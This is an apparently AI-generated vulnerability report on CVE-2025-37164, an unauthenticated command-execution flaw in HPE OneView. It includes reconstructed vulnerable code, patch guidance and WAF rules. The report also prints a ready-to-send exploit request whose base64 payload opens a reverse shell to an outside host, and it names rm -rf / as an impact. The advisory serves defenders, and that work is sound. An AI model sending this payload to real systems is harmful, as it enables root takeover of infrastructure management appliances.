CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2025-37164
10.086.43%

HPE OneView RCE: One View to Rule Them All (and the Shell)

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 23, 2026·6 min read·36 visits

Active ExploitationCISA KEV Listed

Executive Summary (TL;DR)

Unauthenticated RCE in HPE OneView versions prior to 11.00 via the `/rest/id-pools/executeCommand` endpoint. Attackers can send a simple JSON request to run arbitrary shell commands with high privileges. CVSS 10.0. Active in CISA KEV. Patch immediately.

HPE OneView, the 'God Mode' console for managing enterprise hardware, shipped with a debugging endpoint so spectacularly insecure it borders on satire. CVE-2025-37164 is an unauthenticated Remote Code Execution vulnerability that allows anyone with network access to execute arbitrary shell commands as root. No credentials required, no complex memory corruption—just a simple JSON payload sent to an API endpoint that arguably should never have existed in production. It is currently being actively exploited in the wild.

The Hook: God Mode for the Datacenter

In the world of enterprise infrastructure, HPE OneView is the crown jewel. It is an infrastructure management appliance—software that controls the physical hardware. It manages servers, storage arrays, and networking fabrics. It spins up bare-metal servers, configures firmware, and handles the cooling. If you control OneView, you don't just own a server; you own the building blocks of the data center.

Usually, breaking into an appliance like this requires a complex chain: bypass the login, find a memory leak, corrupt the heap, and pray the ROP chain holds together. It's an art form.

But CVE-2025-37164 is not art. It is a tragedy. It turns out that while security teams were busy hardening the front door with MFA and VPNs, the developers left a side window wide open. Specifically, a REST API endpoint designed to execute shell commands was left accessible without authentication. It's the digital equivalent of a bank vault that opens if you just ask nicely.

The Flaw: A Debugger's Ghost

The vulnerability lies in the API endpoint /rest/id-pools/executeCommand. If you are a developer, the name alone should make your blood run cold. Why does an endpoint named executeCommand exist in a production REST API? And why is it exposed to the internet?

This endpoint appears to be a vestige of testing or internal debugging functionality that was never stripped from the release build. The application logic fails to perform two critical checks:

  1. Authentication: It does not verify if the user is logged in. The Spring Security (or equivalent filter chain) configuration for this specific path was either missing or explicitly set to permitAll.
  2. Input Sanitization: It takes a user-supplied string and passes it directly to a system shell execution context.

This is a textbook Command Injection (CWE-78), but it's actually worse. Usually, command injection involves tricking a legitimate utility (like ping or grep) into running extra commands via delimiters like ; or &&. Here, the endpoint isn't a wrapper for a utility; it is a direct interface to the shell. You aren't injecting a command; you are simply requesting one.

The Code: The Smoking Gun

While the exact proprietary source code isn't public, the behavior of the endpoint allows us to reconstruct the vulnerable logic with high certainty. It likely resembles a standard Java Controller handling a PUT request.

The Vulnerable Logic (Reconstructed):

@RestController
@RequestMapping("/rest/id-pools")
public class IdPoolController {
 
    // VULNERABILITY: No @PreAuthorize check here!
    @PutMapping("/executeCommand")
    public ResponseEntity<String> execute(@RequestBody CommandRequest request) {
        try {
            // THE HORROR: Direct shell execution of user input
            Process p = Runtime.getRuntime().exec(request.getCmd());
            p.waitFor();
            return ResponseEntity.ok("Command executed.");
        } catch (Exception e) {
            return ResponseEntity.status(500).body("Error");
        }
    }
}

The Fix:

HPE's remediation wasn't just to fix the code; they effectively nuked the endpoint. In the hotfix and version 11.00, the routing to this path is removed or blocked entirely. If you cannot remove the code, the standard mitigation in code would be:

// MITIGATION: Remove the endpoint or secure it
@PreAuthorize("hasRole('ADMIN')") // 1. Require Auth
@PutMapping("/executeCommand")
public ResponseEntity<String> execute(@RequestBody CommandRequest request) {
    // 2. Validate input against a strict allowlist
    if (!ALLOWED_COMMANDS.contains(request.getCmd())) {
         throw new SecurityException("Nice try.");
    }
    // ...
}

The actual patch deployed by HPE involves an HTTP rewrite rule to reject requests to this URI before they even hit the application logic, which is a faster way to stop the bleeding without recompiling the massive OneView JARs.

The Exploit: Root in One Request

Exploiting this is trivially easy, script-kiddie friendly, and highly reliable. The attacker only needs to send a PUT request. However, there is a small catch: the JSON parser and the underlying shell execution environment can be finicky about spaces and quotes.

The Attack Chain:

  1. Target Selection: Identify the OneView instance (usually port 443).
  2. Payload Construction: The payload is a JSON object {"cmd": "<COMMAND>"}. To bypass potential whitespace issues in the Runtime.exec tokenizer, attackers often use the Internal Field Separator (${IFS}) or base64 encoding.

The Exploit Request:

PUT /rest/id-pools/executeCommand HTTP/1.1
Host: target-oneview.local
Content-Type: application/json
 
{
  "cmd": "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}",
  "result": false
}

In the example above, the attacker sends a base64 encoded reverse shell (bash -i >& /dev/tcp/10.0.0.1/4444 0>&1) to avoid dealing with special characters. The server decodes it and executes it, granting the attacker an interactive shell.

> [!NOTE] > Re-exploitation Potential: Even if the endpoint is blocked, researchers will likely look for other endpoints in the /rest/id-pools/ controller. Often, if a developer forgets auth on one method in a controller, they forgot it on the whole class.

The Impact: Game Over

Why is this a CVSS 10.0? Because OneView is an infrastructure concentrator.

  1. Confidentiality: The attacker can dump the database containing credentials for all managed devices (iLOs, OA, interconnects). They now have keys to every server in your rack.
  2. Integrity: They can flash malicious firmware onto network cards or BIOS, creating a persistent backdoor that survives OS reinstalls (a "bootkit").
  3. Availability: rm -rf / on the OneView appliance causes a management blackout. Worse, they could script the power-off sequence for every connected blade server.

Since this is being actively exploited (CISA KEV), ransomware groups are likely using it as an initial access vector to encrypt the management plane before moving laterally to the production data.

The Fix: Stop the Bleeding

If you are running OneView older than version 11.00, you are currently exposed. The remediation path is straightforward but urgent.

Immediate Actions:

  1. Upgrade: Move to HPE OneView 11.00 or higher immediately. This version removes the vulnerability entirely.
  2. Hotfix: If you cannot do a full version migration (perhaps due to hardware compatibility), apply Hotfix Z7550-98077. This is available for versions 5.20 through 10.20.

Defense in Depth:

If you cannot patch right this second, you must block the attack vector at the network layer. Configure your WAF or load balancer to drop any request matching:

  • Method: PUT
  • URI: /rest/id-pools/executeCommand

Unlike many complex deserialization bugs, this one is easy to signature. Do it now, or explain to your CISO why the datacenter just went dark.

Official Patches

HPEOfficial Security Bulletin HPESBGN04985

Technical Appendix

CVSS Score
10.0/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
86.43%
Top 1% most exploited

Affected Systems

HPE OneView < 11.00HPE OneView for VMware vCenterHPE OneView for Microsoft System Center

Affected Versions Detail

Product
Affected Versions
Fixed Version
HPE OneView
HPE
< 11.0011.00
AttributeDetail
CWE IDCWE-78 (OS Command Injection)
CVSS v3.110.0 (Critical)
Attack VectorNetwork (Unauthenticated)
ImpactTotal System Compromise (Root RCE)
Exploit StatusActive / Weaponized
EPSS Score86.43%
KEV StatusListed (2026-01-07)

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.004Command and Scripting Interpreter: Unix Shell
Execution
T1210Exploitation of Remote Services
Lateral Movement
CWE-78
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Known Exploits & Detection

MetasploitMetasploit module providing automated RCE
GitHubPython proof-of-concept exploit script
NucleiDetection Template Available

Vulnerability Timeline

Vulnerability Published by HPE
2025-12-16
Rapid7 Analysis & Metasploit Module Released
2025-12-18
Added to CISA KEV Catalog
2026-01-07
Large-scale exploitation reported by Check Point
2026-01-15

References & Sources

  • [1]Rapid7 Analysis
  • [2]Check Point Research: Active Exploitation Report

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.